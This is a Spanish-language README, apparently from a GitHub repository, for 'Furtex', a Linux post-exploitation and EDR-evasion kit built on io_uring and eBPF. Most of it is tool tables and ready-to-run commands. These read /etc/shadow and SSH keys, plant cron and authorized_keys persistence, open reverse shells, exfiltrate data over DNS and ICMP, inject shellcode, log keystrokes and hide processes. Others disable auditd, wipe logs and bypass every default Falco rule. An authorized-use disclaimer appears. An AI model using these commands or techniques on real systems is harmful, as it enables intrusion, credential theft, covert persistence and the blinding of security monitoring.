Furtex

Kit de investigación de post-explotación y evasión para Linux, construido alrededor de io_uring y eBPF. Sin liburing, sin frameworks, syscalls puras en todo.

Más herramientas pronto. Los PRs son bienvenidos. 🇧🇷

Únete a Rootkit Researchers

https://discord.gg/66N5ZQppU7

Solo para investigaciones autorizadas y compromisos de red team. No lo ejecutes en sistemas que no poseas.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

## Requisitos

**Cadena de herramientas**

| herramienta | necesario para |
|---|---|
| `gcc` | todos los binarios de espacio de usuario |
| `clang` | programas del lado BPF `ebpf/*.bpf.c` |
| `make` | sistema de compilación |

**Encabezados y bibliotecas**

| paquete | necesario para |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` y encabezados de kernel relacionados |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` y similares usados en los programas `ebpf/` |
| `bpftool` | generar `vmlinux.h` mediante `make vmlinux` dentro de `ebpf/` |

En Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versiones del kernel

Capacidades

BTF debe estar habilitado en el kernel (CONFIG_DEBUG_INFO_BTF=y) para ejecutar make vmlinux para los programas de ebpf/.

En distribuciones con cabeceras libc-dev más antiguas (Ubuntu 22.04, etc.) puede que necesites #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Ya está cubierto en este repositorio.

Compilación

edrs/ tiene su propio sub-Makefile con ~75 binarios divididos por privilegio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.

## Cobertura de bypass de io_uring

Los SQEs de io_uring pasan por el workqueue del kernel. `io_uring_enter(2)` nunca llama a través de `sys_call_table`, nunca dispara los tracepoints `sys_enter_*`, y nunca pasa por livepatch en `native_sys_call`. Eso por sí solo elimina una gran clase de hooks de EDR sin tocar nada.

Lo que io_uring evade por sí solo:

| punto de hook | nota |
|---|---|
| reemplazo del puntero de `sys_call_table` | io_uring nunca pasa por la tabla de syscalls |
| livepatch en `native_sys_call` / `compat_sys_call` | la misma razón |
| tracepoints `sys_enter_*` | ruta del workqueue, no se dispara ningún tracepoint |

Lo que io_uring NO evade por sí solo (necesita una herramienta activa):

| punto de hook | herramienta | qué hace la herramienta |
|---|---|---|
| kprobes en `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | elimina los hooks de kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | desconecta el enlace BPF |
| Linux audit | `audit_kill` | desactiva auditd mediante NETLINK_AUDIT |
| parches LD_PRELOAD / PLT-GOT | `plt_unhook` | elimina los hooks de userland |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET en la capa 2, omite netfilter |
| hooks de `inet_stream_connect` | `udp_shell` | usa UDP, nunca llama a la ruta de conexión TCP |

## io_uring/

`iouring_utils.h` se encarga de la configuración del ring sin liburing.

| binario | qué hace |
|---|---|
| `file_read` | cadena OPENAT+READ+CLOSE vía io_uring, sin evento sys_enter_read |
| `file_write` | cadena OPENAT+WRITE+CLOSE |
| `file_append` | igual que file_write pero con O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV en un solo ring |
| `net_reverse_shell` | reverse shell sobre CONNECT de io_uring |
| `multifile_read` | hasta 64 archivos en un lote SQE |
| `memfd_exec` | transmite ELF por stdin hacia memfd, execve vía /proc/self/fd |
| `proc_inject` | inyección JIT vía /proc/PID/mem; inyección ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE de kernel a kernel, los hooks de userspace nunca ven los bytes |
| `inotify_bypass_watch` | el READ de io_uring no genera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica datos en hexadecimal como etiquetas de consulta DNS mediante SENDMSG de io_uring |
| `af_packet_send` | Ethernet crudo vía AF_PACKET (IORING_OP_SOCKET, evade la ruta inet) |
| `xdp_socket_send` | frame crudo vía AF_XDP + ring UMEM, evade netfilter por completo |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

La mayoría de las herramientas requieren CAP_BPF. env_exfil funciona sin privilegios. icmp_trigger requiere CAP_NET_RAW en lugar de CAP_BPF.

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

## ebpf/

Requiere clang + libbpf + vmlinux.h. Ejecuta `make vmlinux` dentro de `ebpf/` para generarlo desde el BTF del kernel en ejecución.

| archivo | qué hace |
|---|---|
| `exec.bpf.c` | tracepoint en sys_enter_execve |
| `fentry_open.bpf.c` | tracepoint en sys_enter_openat |
| `creds.bpf.c` | rastrea openat+read en rutas de credenciales |
| `keylog.bpf.c` | tracepoint de eventos de entrada, captura de keycode en bruto |
| `net.bpf.c` | registro de sys_enter_connect |
| `net_hide.bpf.c` | oculta puertos de /proc/net/tcp y /proc/net/udp |
| `proc_hide.bpf.c` | oculta PIDs de la salida de getdents64 |
| `tty_sniff.bpf.c` | captura escrituras y lecturas de stdin/stdout/stderr |
| `skf_c2_runner.c` | C2 por ICMP mediante filtro de socket BPF clásico |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | disparador XDP en paquete UDP mágico |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

## techniques/ (bypass de Falco)

Se dirige al conjunto de reglas predeterminado de Falco (controlador `modern_ebpf`, 25 reglas). Ejecuta `edrs/edr_recon` primero.

Eje de bypass A: evitar que el evento llegue a Falco (io_uring omite `sys_enter_*`, el drenaje de ringbuf descarta eventos silenciosamente).
Eje de bypass B: el evento llega a Falco pero la condición de la regla no coincide (spoof de proc.name, pivote de ruta, flags alternativos).

| herramienta | eje | reglas de Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | todas |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | todas |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | todas |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | todas las 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

Contribuciones

Abre un PR. Herramientas de propósito único, syscalls directas, sin nuevas dependencias.

Aviso legal

Este proyecto está destinado estrictamente a la investigación en seguridad, pruebas de penetración autorizadas, competiciones CTF y desarrollo de herramientas defensivas. Todas las técnicas demostradas aquí están documentadas en investigaciones de seguridad públicas y en la documentación del kernel.

No utilices este toolkit contra sistemas que no poseas o para los que no tengas autorización explícita por escrito para probar. El uso no autorizado puede violar la Computer Fraud and Abuse Act (CFAA), la Directiva de la UE sobre ataques contra sistemas de información y las leyes equivalentes de tu jurisdicción.

Los autores no asumen ninguna responsabilidad por el mal uso. Al utilizar este software, aceptas que eres el único responsable del cumplimiento de las leyes aplicables.

5.4	base de io_uring (`IORING_FEAT_SINGLE_MMAP`, iteración de mapas BPF)
5.6	`IORING_OP_OPENAT`, `IORING_OP_STATX`, `pidfd_getfd` (`pidfd_steal`)
5.8	división de `CAP_BPF` + `CAP_PERFMON` (reemplaza a `CAP_SYS_ADMIN` para BPF)
5.9	`BPF_LINK_DETACH` (`bpf_link_detach`)
5.19	`IORING_OP_SOCKET` (`af_packet_send`, `dns_exfil`, `xdp_socket_send`, `bpf_kprobe_bypass`)

`CAP_BPF` (o `CAP_SYS_ADMIN` pre-5.8)	todas las herramientas `bpf/`, cargadores `ebpf/`
`CAP_PERFMON`	programas `ebpf/` de tracepoint y kprobe
`CAP_NET_RAW`	`icmp_tunnel`, `af_packet_shell`, `skf_c2_runner`, `icmp_trigger`
`CAP_NET_ADMIN`	`xdp_socket_send`, `netfilter_flush`
`CAP_AUDIT_CONTROL`	`audit_kill`

`make all`	todo
`make uring`	solo `io_uring/`
`make bpf`	herramientas de espacio de usuario de `bpf/`
`make ebpf`	programas del lado de BPF (necesita clang + libbpf)
`make edrs`	todos los binarios de `edrs/`
`make techniques`	herramientas de evasión de Falco
`make clean`	elimina todos los binarios

`map_recon`	lista todos los mapas BPF cargados
`map_dumper`	vuelca el contenido de un mapa por ID
`map_write`	actualiza entradas de un mapa por ID
`map_poison`	pone a cero las entradas de `interesting_sys` de Falco alrededor de un payload
`prog_recon`	lista programas BPF: tipo, nombre, número de mapas
`pid_allowlist`	inserta un PID en un mapa de lista permitida de EDR
`edr_fin`	evalúa mapas/programas BPF cargados según heurísticas EDR conocidas
`lsm_check`	detecta hooks LSM de BPF activos y comprueba si las escrituras de mapas están bloqueadas
`bpf_persist`	fija/recupera/desfija mapas y programas en bpffs
`map_snapshot`	guarda y restaura el contenido de mapas en un archivo binario
`env_exfil`	lee /proc/*/environ en busca de secretos
`bpf_link_detach`	enumera y desacopla enlaces BPF (elimina hooks LSM)
`link_update`	redirige un enlace BPF a un programa no operativo (el hook permanece visible, no activa nada)
`map_freeze`	congela un mapa BPF en modo solo lectura mediante `BPF_MAP_FREEZE` (las escrituras devuelven -EPERM)
`icmp_trigger`	puerta trasera de paquete mágico ICMP; lanza una shell inversa a través de un relé socketpair; se hace pasar por `kworker/u4:2`
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>

`edr_recon`	sí	detector de EDR de 12 proveedores: procesos, artefactos, módulos, BPF, kprobes
`bpf_prog_recon`	sí	enumera programas BPF cargados, mapas y kprobes
`bpf_map_wipe`	sí	borra entradas de mapas BPF
`bpf_detach_all`	sí	desengancha todos los enlaces BPF
`tetragon_blind`	sí	escanea, congela, descongela, mata o ciega procesos de Tetragon/Falco
`ftrace_enum`	sí	enumera y limpia ganchos kprobe/ftrace
`lkm_unload`	sí	descarga módulos del kernel
`lkm_inline_detect`	sí	detecta ganchos inline del kernel
`perf_bpf_kill`	sí	enumera y mata programas BPF de eventos perf de Falco
`module_recon`	sí	enumera módulos del kernel
`cgroup_freeze`	sí	congela/descongela procesos mediante cgroup v2
`oom_cage`	sí	establece oom_score_adj para sí mismo o para el objetivo
`sysctl_blind`	sí	lee/escribe sysctls relevantes para la seguridad
`audit_kill`	sí	desactiva/limita la auditoría de Linux mediante NETLINK_AUDIT
`inotify_exhaust`	sí	consume todas las watches de inotify
`netfilter_flush`	sí	vacía las cadenas de netfilter
`dmesg_wipe`	sí	limpia el ring buffer del kernel
`ld_so_preload`	sí	manipula /etc/ld.so.preload
`proc_hide`	sí	oculta /proc/PID mediante bind-mount
`mount_over`	sí	bind-mount sobre rutas arbitrarias
`log_wipe`	sí	trunca archivos de registro e historial de shell
`elf_infect`	sí	inyección de parásito PT_NOTE a PT_LOAD
`proc_mem_inject`	sí	pwrite a /proc/PID/mem, sin adjuntar ptrace
`af_packet_shell`	sí	C2 Ethernet crudo que evita netfilter OUTPUT
`icmp_tunnel`	sí	exfiltración mediante payload de ICMP echo-request
`event_flood`	sí	inundación de eventos alrededor del payload para saturar el monitor
`livepatch_bypass`	sí	io_uring más allá de los ganchos de livepatch en el despachador de syscalls
`livepatch_stack_blind`	sí	desactiva la pila de ganchos livepatch + BPF kprobe + netfilter; descarga de módulos mediante comm spoofing
`lsm_authlink_blind`	sí	desactiva los flujos auth-link de LSM, congela o mata al agente de autenticación, escribe mediante inode swap
`lsm_callback_bypass`	sí	evita los callbacks de LSM mediante pidfd_getfd, process_vm_writev, adjuntar perf+BPF, nueva netns
`bpf_fim_blind`	sí	congela el sensor FIM de BPF, borra entradas de mapas ring-buffer, inunda ringbuf
`syscall_dispatch_bypass`	sí	operaciones de archivo/red de io_uring que evitan kprobes en el despacho de syscalls y livepatch do_syscall_64
`bpf_kprobe_bypass`	sí	operaciones de archivo/red/exec de io_uring que evitan los objetivos kprobe _x64_sys*
`ptrace_inject_so`	sí	carga .so en un proceso vivo mediante ptrace + dlopen
`uring_stealth`	no	operaciones de archivo/red mediante io_uring, sin eventos sys_enter_*
`openat2_bypass`	no	syscalls alternativas (openat2, copy_file_range)
`ptrace_selfguard`	no	bloquea ptrace externo mediante un proceso guardián
`plt_unhook`	no	detecta y evita ganchos PLT-GOT mediante dlmopen
`fexecve_drop`	no	ELF en memfd, execve mediante /proc/self/fd
`memfd_loader`	no	carga .so mediante memfd, se invoca el constructor
`memfd_userexec`	no	ELF desde stdin a memfd, execve mediante /proc/self/fd
`hollow_proc`	no	process hollowing con nombre señuelo en ps
`argv_spoof`	no	renombra comm mediante prctl(PR_SET_NAME) y sobrescritura de argv[0]
`clone_netns`	no	ejecución en namespace de red sin privilegios
`ns_exec`	no	unshare de namespaces user/pid/mount
`splice_c2`	no	C2 TCP usando splice(2) para transferencia de datos; los ganchos send/recv nunca se activan
`abstract_sock_c2`	no	C2 sobre socket Unix abstracto
`udp_shell`	no	reverse shell UDP, evita inet_stream_connect
`tls_shell`	no	reverse shell detrás de un ClientHello TLS falso
`dns_exfil_raw`	no	codifica datos en hexadecimal como etiquetas de consulta DNS
`pidfd_steal`	no	roba fds abiertos de otros procesos mediante pidfd_getfd
`vma_hide`	no	ciclo RWX a PROT_NONE, MADV_DONTDUMP, renombrado de VMA
`coredump_block`	no	bloquea core dumps mediante filter/dumpable/rlimit
`seccomp_notify`	no	intercepta syscalls mediante SECCOMP_USER_NOTIF
`ipc_covert`	no	C2 sobre mqueue POSIX
`shared_mem_c2`	no	C2 sobre shm POSIX, sin tráfico de red
`pipe_exfil`	no	exfiltración con splice(2), ganchos LD_PRELOAD ciegos
`proc_fd_scan`	no	escanea enlaces simbólicos de /proc/PID/fd en busca de rutas sensibles
`proc_vm_inject`	no	process_vm_writev, sin abrir /proc/PID/fd
`self_delete`	no	elimina su propio binario del disco mientras se ejecuta
`time_stomp`	no	clona/pon a cero/establece atime+mtime
`userland_persist`	no	bashrc/crontab/autostart/authorized_keys
`env_scrape`	no	lee /proc/*/environ en busca de secretos y sockets SSH
`anon_shellcode`	no	shellcode en MAP_ANONYMOUS, sin archivo, sin execve
`ld_preload_inject`	no	deja caer .so, inyecta mediante LD_PRELOAD
`ssh_agent_hijack`	no	habla el protocolo del agente con el socket capturado
`fanotify_bypass`	no	memfd/anon-mmap/devshm para evitar marcas de fanotify
`ringbuf_flood`	no	satura el ringbuf de BPF para descartar eventos
`log_evasion`	no	operaciones de archivo io_uring y shell TCP por syscalls crudas, sin wrappers de libc
`syscalltable_bypass`	no	io_uring más allá de los ganchos de puntero de sys_call_table
`uring_recon_unpriv`	no	credenciales, claves, conexiones mediante io_uring read
`fd_steal_read`	no	roba fds mediante pidfd_getfd, lee sin open() propio
`mmap_read`	no	lee archivos mediante mmap, sin syscall read()
`scm_rights_exfil`	no	pasa fd mediante SCM_RIGHTS, lee sin open() propio
`splice_read`	no	lee mediante splice(2), sin buffer en espacio de usuario
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps

1 Lectura de archivo supervisada por directory traversal	io_uring OPENAT	`uring_ops cat`, `per_rule_bypass dir-traversal`
3 Leer archivo sensible no confiable	io_uring o prctl	`uring_ops creds`, `bypass_file_rules read-masked`
4 Ejecutar shell no confiable	python3/perl en lugar de sh	`rule_evade unusual-shell`
6 Shell de terminal en contenedor	setsid, proc.tty=0	`bypass_proc_rules shell-notty`
7 Contactar con el API Server de K8S	io_uring CONNECT	`uring_ops shell`, `per_rule_bypass k8s-connect`
8 RCE de Netcat	binario C, proc.name != nc/ncat	`bypass_proc_rules reverse-shell`
9 Buscar claves privadas	open+read en C, sin grep/find	`bypass_file_rules grep-bypass`
10 Limpiar actividades de log	ftruncate sin O_TRUNC	`bypass_file_rules log-clear`
11 Eliminar datos masivos	bucle de escritura, sin shred/mkfs	`bypass_file_rules wipe`
15 Redirigir STDOUT/STDIN a la red	fcntl F_DUPFD en lugar de dup2	`bypass_proc_rules reverse-shell`
18 Detectar escape de release_agent	io_uring OPENAT+WRITE hacia release_agent	`cgroup_escape proof/shell`, `uring_ops write`
19 PTRACE adjuntado al proceso	/proc/PID/mem o process_vm_writev	`bypass_proc_rules proc-inject`
20 Intento de anti-debug con PTRACE	comprobación de TracerPid mediante /proc/self/status	`bypass_proc_rules anti-debug`
22 Ejecución desde /dev/shm	exec desde /run/user/uid/ en su lugar	`bypass_proc_rules run-safe`
25 Ejecución fileless vía memfd_create	shellcode vía mmap, sin execve	`exe_from_memfd_bypass sc`, `proc_ghost ghost-sc`
todas	vaciar ringbuf o eliminar scap.ko	`ringbuf_overflow`, `kmod_unload`

Furtex

Más Populares

Furtex

Compilación

bpf/

edrs/

Contribuciones

Aviso legal